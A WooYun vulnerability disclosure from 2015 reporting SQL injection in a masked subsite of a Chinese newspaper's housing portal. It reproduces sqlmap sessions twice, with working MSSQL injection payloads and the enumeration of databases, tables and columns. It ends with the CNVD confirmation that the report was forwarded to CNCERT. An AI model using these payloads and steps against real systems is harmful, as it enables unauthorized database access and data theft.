当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0134834

漏洞标题:扬子晚报网某分站存在sql注入

相关厂商:杨子晚报网

漏洞作者: SunnyDoll

提交时间:2015-08-20 20:45

修复时间:2015-10-05 19:34

公开时间:2015-10-05 19:34

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-20: 细节已通知厂商并且等待厂商处理中
2015-08-21: cncert国家互联网应急中心暂未能联系到相关单位,细节仅向通报机构公开
2015-08-31: 细节向核心白帽子及相关领域专家公开
2015-09-10: 细节向普通白帽子公开
2015-09-20: 细节向实习白帽子公开
2015-10-05: 细节向公众公开

简要描述:

RT

详细说明:

injection link:http://**.**.**.**/ajaxserve/IndexSaleAjax.aspx?name=

C:\Python27\sqlmap>sqlmap.py -u http://**.**.**.**/ajaxserve/IndexSaleAjax
.aspx?name=
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150815}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 20:28:03
[20:28:04] [WARNING] provided value for parameter 'name' is empty. Please, alway
s use only valid parameter values so sqlmap could be able to run properly
[20:28:04] [INFO] resuming back-end DBMS 'microsoft sql server'
[20:28:04] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: name (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: name=%' AND 1455=1455 AND '%'='
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: name=%' AND 8728=CONVERT(INT,(SELECT CHAR(113)+CHAR(107)+CHAR(113)+
CHAR(112)+CHAR(113)+(SELECT (CASE WHEN (8728=8728) THEN CHAR(49) ELSE CHAR(48) E
ND))+CHAR(113)+CHAR(120)+CHAR(107)+CHAR(113)+CHAR(113))) AND '%'='
Type: UNION query
Title: Generic UNION query (NULL) - 4 columns
Payload: name=%' UNION ALL SELECT CHAR(113)+CHAR(107)+CHAR(113)+CHAR(112)+CH
AR(113)+CHAR(84)+CHAR(81)+CHAR(97)+CHAR(120)+CHAR(65)+CHAR(71)+CHAR(87)+CHAR(115
)+CHAR(105)+CHAR(84)+CHAR(113)+CHAR(120)+CHAR(107)+CHAR(113)+CHAR(113),NULL,NULL
,NULL--
---
[20:28:04] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008
[20:28:04] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\**.**.**.**'
[*] shutting down at 20:28:04
C:\Python27\sqlmap>sqlmap.py -u http://**.**.**.**/ajaxserve/IndexSaleAjax
.aspx?name= --dbs
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150815}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 20:28:07
[20:28:08] [WARNING] provided value for parameter 'name' is empty. Please, alway
s use only valid parameter values so sqlmap could be able to run properly
[20:28:08] [INFO] resuming back-end DBMS 'microsoft sql server'
[20:28:08] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: name (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: name=%' AND 1455=1455 AND '%'='
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: name=%' AND 8728=CONVERT(INT,(SELECT CHAR(113)+CHAR(107)+CHAR(113)+
CHAR(112)+CHAR(113)+(SELECT (CASE WHEN (8728=8728) THEN CHAR(49) ELSE CHAR(48) E
ND))+CHAR(113)+CHAR(120)+CHAR(107)+CHAR(113)+CHAR(113))) AND '%'='
Type: UNION query
Title: Generic UNION query (NULL) - 4 columns
Payload: name=%' UNION ALL SELECT CHAR(113)+CHAR(107)+CHAR(113)+CHAR(112)+CH
AR(113)+CHAR(84)+CHAR(81)+CHAR(97)+CHAR(120)+CHAR(65)+CHAR(71)+CHAR(87)+CHAR(115
)+CHAR(105)+CHAR(84)+CHAR(113)+CHAR(120)+CHAR(107)+CHAR(113)+CHAR(113),NULL,NULL
,NULL--
---
[20:28:11] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008
[20:28:11] [INFO] fetching database names
[20:28:11] [INFO] the SQL query used returns 5 entries
[20:28:11] [INFO] resumed: "master"
[20:28:11] [INFO] resumed: "model"
[20:28:11] [INFO] resumed: "msdb"
[20:28:11] [INFO] resumed: "NewHouseDB"
[20:28:11] [INFO] resumed: "tempdb"
available databases [5]:
[*] master
[*] model
[*] msdb
[*] NewHouseDB
[*] tempdb
[20:28:11] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\**.**.**.**'
[*] shutting down at 20:28:11
C:\Python27\sqlmap>sqlmap.py -u http://**.**.**.**/ajaxserve/IndexSaleAjax
.aspx?name= --current-db
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150815}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 20:28:47
[20:28:47] [WARNING] provided value for parameter 'name' is empty. Please, alway
s use only valid parameter values so sqlmap could be able to run properly
[20:28:47] [INFO] resuming back-end DBMS 'microsoft sql server'
[20:28:47] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: name (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: name=%' AND 1455=1455 AND '%'='
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: name=%' AND 8728=CONVERT(INT,(SELECT CHAR(113)+CHAR(107)+CHAR(113)+
CHAR(112)+CHAR(113)+(SELECT (CASE WHEN (8728=8728) THEN CHAR(49) ELSE CHAR(48) E
ND))+CHAR(113)+CHAR(120)+CHAR(107)+CHAR(113)+CHAR(113))) AND '%'='
Type: UNION query
Title: Generic UNION query (NULL) - 4 columns
Payload: name=%' UNION ALL SELECT CHAR(113)+CHAR(107)+CHAR(113)+CHAR(112)+CH
AR(113)+CHAR(84)+CHAR(81)+CHAR(97)+CHAR(120)+CHAR(65)+CHAR(71)+CHAR(87)+CHAR(115
)+CHAR(105)+CHAR(84)+CHAR(113)+CHAR(120)+CHAR(107)+CHAR(113)+CHAR(113),NULL,NULL
,NULL--
---
[20:28:48] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008
[20:28:48] [INFO] fetching current database
current database: 'NewHouseDB'
[20:28:48] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\**.**.**.**'
[*] shutting down at 20:28:48
C:\Python27\sqlmap>sqlmap.py -u http://**.**.**.**/ajaxserve/IndexSaleAjax
.aspx?name= --tables -D NewHouseDB
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150815}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 20:29:34
[20:29:35] [WARNING] provided value for parameter 'name' is empty. Please, alway
s use only valid parameter values so sqlmap could be able to run properly
[20:29:35] [INFO] resuming back-end DBMS 'microsoft sql server'
[20:29:35] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: name (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: name=%' AND 1455=1455 AND '%'='
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: name=%' AND 8728=CONVERT(INT,(SELECT CHAR(113)+CHAR(107)+CHAR(113)+
CHAR(112)+CHAR(113)+(SELECT (CASE WHEN (8728=8728) THEN CHAR(49) ELSE CHAR(48) E
ND))+CHAR(113)+CHAR(120)+CHAR(107)+CHAR(113)+CHAR(113))) AND '%'='
Type: UNION query
Title: Generic UNION query (NULL) - 4 columns
Payload: name=%' UNION ALL SELECT CHAR(113)+CHAR(107)+CHAR(113)+CHAR(112)+CH
AR(113)+CHAR(84)+CHAR(81)+CHAR(97)+CHAR(120)+CHAR(65)+CHAR(71)+CHAR(87)+CHAR(115
)+CHAR(105)+CHAR(84)+CHAR(113)+CHAR(120)+CHAR(107)+CHAR(113)+CHAR(113),NULL,NULL
,NULL--
---
[20:29:35] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008
[20:29:35] [INFO] fetching tables for database: NewHouseDB
[20:29:35] [INFO] the SQL query used returns 40 entries
Database: NewHouseDB
[40 tables]
+----------------------+
| D99_Tmp |
| House_AJK_Community |
| House_Admin |
| House_AreaPrice |
| House_Authority |
| House_BaseAttribute |
| House_BrokerNotice |
| House_BrokerNotice |
| House_Channel_OLD |
| House_Channel_OLD |
| House_CityArea_OLD |
| House_CityArea_OLD |
| House_Comm_Sale |
| House_Help |
| House_Houses |
| House_Label |
| House_Log |
| House_LoupanList |
| House_Memberbase |
| House_Memberbase |
| House_Menu |
| House_Message |
| House_NewHouseCommet |
| House_NewHouseCommet |
| House_NewsComment |
| House_NewsComment |
| House_Site |
| House_Sms |
| House_Style |
| House_Yangtse_News |
| House_customWill |
| NJ_Residence_Info |
| S3_Tmp |
| System_Table |
| house_ajk_backup |
| house_ajk_backup |
| house_community_new |
| house_community_new |
| house_house_backup |
| sysdiagrams |
+----------------------+
[20:29:36] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\**.**.**.**'
[*] shutting down at 20:29:36
C:\Python27\sqlmap>sqlmap.py -u http://**.**.**.**/ajaxserve/IndexSaleAjax
.aspx?name= --columns -T House_Yangtse_News -D NewHouseDB
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150815}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 20:30:25
[20:30:25] [WARNING] provided value for parameter 'name' is empty. Please, alway
s use only valid parameter values so sqlmap could be able to run properly
[20:30:25] [INFO] resuming back-end DBMS 'microsoft sql server'
[20:30:26] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: name (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: name=%' AND 1455=1455 AND '%'='
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: name=%' AND 8728=CONVERT(INT,(SELECT CHAR(113)+CHAR(107)+CHAR(113)+
CHAR(112)+CHAR(113)+(SELECT (CASE WHEN (8728=8728) THEN CHAR(49) ELSE CHAR(48) E
ND))+CHAR(113)+CHAR(120)+CHAR(107)+CHAR(113)+CHAR(113))) AND '%'='
Type: UNION query
Title: Generic UNION query (NULL) - 4 columns
Payload: name=%' UNION ALL SELECT CHAR(113)+CHAR(107)+CHAR(113)+CHAR(112)+CH
AR(113)+CHAR(84)+CHAR(81)+CHAR(97)+CHAR(120)+CHAR(65)+CHAR(71)+CHAR(87)+CHAR(115
)+CHAR(105)+CHAR(84)+CHAR(113)+CHAR(120)+CHAR(107)+CHAR(113)+CHAR(113),NULL,NULL
,NULL--
---
[20:30:26] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008
[20:30:26] [INFO] fetching columns for table 'House_Yangtse_News' in database 'N
ewHouseDB'
[20:30:26] [INFO] the SQL query used returns 5 entries
[20:30:26] [INFO] resumed: "Createtime","datetime"
[20:30:26] [INFO] resumed: "ID","int"
[20:30:26] [INFO] resumed: "Yangtse_News_ID","nvarchar"
[20:30:26] [INFO] resumed: "Yangtse_News_Title","nvarchar"
[20:30:26] [INFO] resumed: "Yangtse_News_Url","nvarchar"
Database: NewHouseDB
Table: House_Yangtse_News
[5 columns]
+--------------------+----------+
| Column | Type |
+--------------------+----------+
| Createtime | datetime |
| ID | int |
| Yangtse_News_ID | nvarchar |
| Yangtse_News_Title | nvarchar |
| Yangtse_News_Url | nvarchar |
+--------------------+----------+
[20:30:26] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\**.**.**.**'
[*] shutting down at 20:30:26
C:\Python27\sqlmap>

漏洞证明:

injection link:http://**.**.**.**/ajaxserve/IndexSaleAjax.aspx?name=

C:\Python27\sqlmap>sqlmap.py -u http://**.**.**.**/ajaxserve/IndexSaleAjax
.aspx?name=
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150815}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 20:28:03
[20:28:04] [WARNING] provided value for parameter 'name' is empty. Please, alway
s use only valid parameter values so sqlmap could be able to run properly
[20:28:04] [INFO] resuming back-end DBMS 'microsoft sql server'
[20:28:04] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: name (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: name=%' AND 1455=1455 AND '%'='
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: name=%' AND 8728=CONVERT(INT,(SELECT CHAR(113)+CHAR(107)+CHAR(113)+
CHAR(112)+CHAR(113)+(SELECT (CASE WHEN (8728=8728) THEN CHAR(49) ELSE CHAR(48) E
ND))+CHAR(113)+CHAR(120)+CHAR(107)+CHAR(113)+CHAR(113))) AND '%'='
Type: UNION query
Title: Generic UNION query (NULL) - 4 columns
Payload: name=%' UNION ALL SELECT CHAR(113)+CHAR(107)+CHAR(113)+CHAR(112)+CH
AR(113)+CHAR(84)+CHAR(81)+CHAR(97)+CHAR(120)+CHAR(65)+CHAR(71)+CHAR(87)+CHAR(115
)+CHAR(105)+CHAR(84)+CHAR(113)+CHAR(120)+CHAR(107)+CHAR(113)+CHAR(113),NULL,NULL
,NULL--
---
[20:28:04] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008
[20:28:04] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\**.**.**.**'
[*] shutting down at 20:28:04
C:\Python27\sqlmap>sqlmap.py -u http://**.**.**.**/ajaxserve/IndexSaleAjax
.aspx?name= --dbs
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150815}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 20:28:07
[20:28:08] [WARNING] provided value for parameter 'name' is empty. Please, alway
s use only valid parameter values so sqlmap could be able to run properly
[20:28:08] [INFO] resuming back-end DBMS 'microsoft sql server'
[20:28:08] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: name (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: name=%' AND 1455=1455 AND '%'='
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: name=%' AND 8728=CONVERT(INT,(SELECT CHAR(113)+CHAR(107)+CHAR(113)+
CHAR(112)+CHAR(113)+(SELECT (CASE WHEN (8728=8728) THEN CHAR(49) ELSE CHAR(48) E
ND))+CHAR(113)+CHAR(120)+CHAR(107)+CHAR(113)+CHAR(113))) AND '%'='
Type: UNION query
Title: Generic UNION query (NULL) - 4 columns
Payload: name=%' UNION ALL SELECT CHAR(113)+CHAR(107)+CHAR(113)+CHAR(112)+CH
AR(113)+CHAR(84)+CHAR(81)+CHAR(97)+CHAR(120)+CHAR(65)+CHAR(71)+CHAR(87)+CHAR(115
)+CHAR(105)+CHAR(84)+CHAR(113)+CHAR(120)+CHAR(107)+CHAR(113)+CHAR(113),NULL,NULL
,NULL--
---
[20:28:11] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008
[20:28:11] [INFO] fetching database names
[20:28:11] [INFO] the SQL query used returns 5 entries
[20:28:11] [INFO] resumed: "master"
[20:28:11] [INFO] resumed: "model"
[20:28:11] [INFO] resumed: "msdb"
[20:28:11] [INFO] resumed: "NewHouseDB"
[20:28:11] [INFO] resumed: "tempdb"
available databases [5]:
[*] master
[*] model
[*] msdb
[*] NewHouseDB
[*] tempdb
[20:28:11] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\**.**.**.**'
[*] shutting down at 20:28:11
C:\Python27\sqlmap>sqlmap.py -u http://**.**.**.**/ajaxserve/IndexSaleAjax
.aspx?name= --current-db
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150815}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 20:28:47
[20:28:47] [WARNING] provided value for parameter 'name' is empty. Please, alway
s use only valid parameter values so sqlmap could be able to run properly
[20:28:47] [INFO] resuming back-end DBMS 'microsoft sql server'
[20:28:47] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: name (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: name=%' AND 1455=1455 AND '%'='
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: name=%' AND 8728=CONVERT(INT,(SELECT CHAR(113)+CHAR(107)+CHAR(113)+
CHAR(112)+CHAR(113)+(SELECT (CASE WHEN (8728=8728) THEN CHAR(49) ELSE CHAR(48) E
ND))+CHAR(113)+CHAR(120)+CHAR(107)+CHAR(113)+CHAR(113))) AND '%'='
Type: UNION query
Title: Generic UNION query (NULL) - 4 columns
Payload: name=%' UNION ALL SELECT CHAR(113)+CHAR(107)+CHAR(113)+CHAR(112)+CH
AR(113)+CHAR(84)+CHAR(81)+CHAR(97)+CHAR(120)+CHAR(65)+CHAR(71)+CHAR(87)+CHAR(115
)+CHAR(105)+CHAR(84)+CHAR(113)+CHAR(120)+CHAR(107)+CHAR(113)+CHAR(113),NULL,NULL
,NULL--
---
[20:28:48] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008
[20:28:48] [INFO] fetching current database
current database: 'NewHouseDB'
[20:28:48] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\**.**.**.**'
[*] shutting down at 20:28:48
C:\Python27\sqlmap>sqlmap.py -u http://**.**.**.**/ajaxserve/IndexSaleAjax
.aspx?name= --tables -D NewHouseDB
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150815}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 20:29:34
[20:29:35] [WARNING] provided value for parameter 'name' is empty. Please, alway
s use only valid parameter values so sqlmap could be able to run properly
[20:29:35] [INFO] resuming back-end DBMS 'microsoft sql server'
[20:29:35] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: name (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: name=%' AND 1455=1455 AND '%'='
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: name=%' AND 8728=CONVERT(INT,(SELECT CHAR(113)+CHAR(107)+CHAR(113)+
CHAR(112)+CHAR(113)+(SELECT (CASE WHEN (8728=8728) THEN CHAR(49) ELSE CHAR(48) E
ND))+CHAR(113)+CHAR(120)+CHAR(107)+CHAR(113)+CHAR(113))) AND '%'='
Type: UNION query
Title: Generic UNION query (NULL) - 4 columns
Payload: name=%' UNION ALL SELECT CHAR(113)+CHAR(107)+CHAR(113)+CHAR(112)+CH
AR(113)+CHAR(84)+CHAR(81)+CHAR(97)+CHAR(120)+CHAR(65)+CHAR(71)+CHAR(87)+CHAR(115
)+CHAR(105)+CHAR(84)+CHAR(113)+CHAR(120)+CHAR(107)+CHAR(113)+CHAR(113),NULL,NULL
,NULL--
---
[20:29:35] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008
[20:29:35] [INFO] fetching tables for database: NewHouseDB
[20:29:35] [INFO] the SQL query used returns 40 entries
Database: NewHouseDB
[40 tables]
+----------------------+
| D99_Tmp |
| House_AJK_Community |
| House_Admin |
| House_AreaPrice |
| House_Authority |
| House_BaseAttribute |
| House_BrokerNotice |
| House_BrokerNotice |
| House_Channel_OLD |
| House_Channel_OLD |
| House_CityArea_OLD |
| House_CityArea_OLD |
| House_Comm_Sale |
| House_Help |
| House_Houses |
| House_Label |
| House_Log |
| House_LoupanList |
| House_Memberbase |
| House_Memberbase |
| House_Menu |
| House_Message |
| House_NewHouseCommet |
| House_NewHouseCommet |
| House_NewsComment |
| House_NewsComment |
| House_Site |
| House_Sms |
| House_Style |
| House_Yangtse_News |
| House_customWill |
| NJ_Residence_Info |
| S3_Tmp |
| System_Table |
| house_ajk_backup |
| house_ajk_backup |
| house_community_new |
| house_community_new |
| house_house_backup |
| sysdiagrams |
+----------------------+
[20:29:36] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\**.**.**.**'
[*] shutting down at 20:29:36
C:\Python27\sqlmap>sqlmap.py -u http://**.**.**.**/ajaxserve/IndexSaleAjax
.aspx?name= --columns -T House_Yangtse_News -D NewHouseDB
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150815}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 20:30:25
[20:30:25] [WARNING] provided value for parameter 'name' is empty. Please, alway
s use only valid parameter values so sqlmap could be able to run properly
[20:30:25] [INFO] resuming back-end DBMS 'microsoft sql server'
[20:30:26] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: name (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: name=%' AND 1455=1455 AND '%'='
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: name=%' AND 8728=CONVERT(INT,(SELECT CHAR(113)+CHAR(107)+CHAR(113)+
CHAR(112)+CHAR(113)+(SELECT (CASE WHEN (8728=8728) THEN CHAR(49) ELSE CHAR(48) E
ND))+CHAR(113)+CHAR(120)+CHAR(107)+CHAR(113)+CHAR(113))) AND '%'='
Type: UNION query
Title: Generic UNION query (NULL) - 4 columns
Payload: name=%' UNION ALL SELECT CHAR(113)+CHAR(107)+CHAR(113)+CHAR(112)+CH
AR(113)+CHAR(84)+CHAR(81)+CHAR(97)+CHAR(120)+CHAR(65)+CHAR(71)+CHAR(87)+CHAR(115
)+CHAR(105)+CHAR(84)+CHAR(113)+CHAR(120)+CHAR(107)+CHAR(113)+CHAR(113),NULL,NULL
,NULL--
---
[20:30:26] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008
[20:30:26] [INFO] fetching columns for table 'House_Yangtse_News' in database 'N
ewHouseDB'
[20:30:26] [INFO] the SQL query used returns 5 entries
[20:30:26] [INFO] resumed: "Createtime","datetime"
[20:30:26] [INFO] resumed: "ID","int"
[20:30:26] [INFO] resumed: "Yangtse_News_ID","nvarchar"
[20:30:26] [INFO] resumed: "Yangtse_News_Title","nvarchar"
[20:30:26] [INFO] resumed: "Yangtse_News_Url","nvarchar"
Database: NewHouseDB
Table: House_Yangtse_News
[5 columns]
+--------------------+----------+
| Column | Type |
+--------------------+----------+
| Createtime | datetime |
| ID | int |
| Yangtse_News_ID | nvarchar |
| Yangtse_News_Title | nvarchar |
| Yangtse_News_Url | nvarchar |
+--------------------+----------+
[20:30:26] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\**.**.**.**'
[*] shutting down at 20:30:26
C:\Python27\sqlmap>

修复方案:

i don't know

版权声明:转载请注明来源 SunnyDoll@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2015-08-21 19:32

厂商回复:

CNVD确认所述情况,已经转由CNCERT下发给江苏分中心,由其后续协调网站管理单位处置。

最新状态:

暂无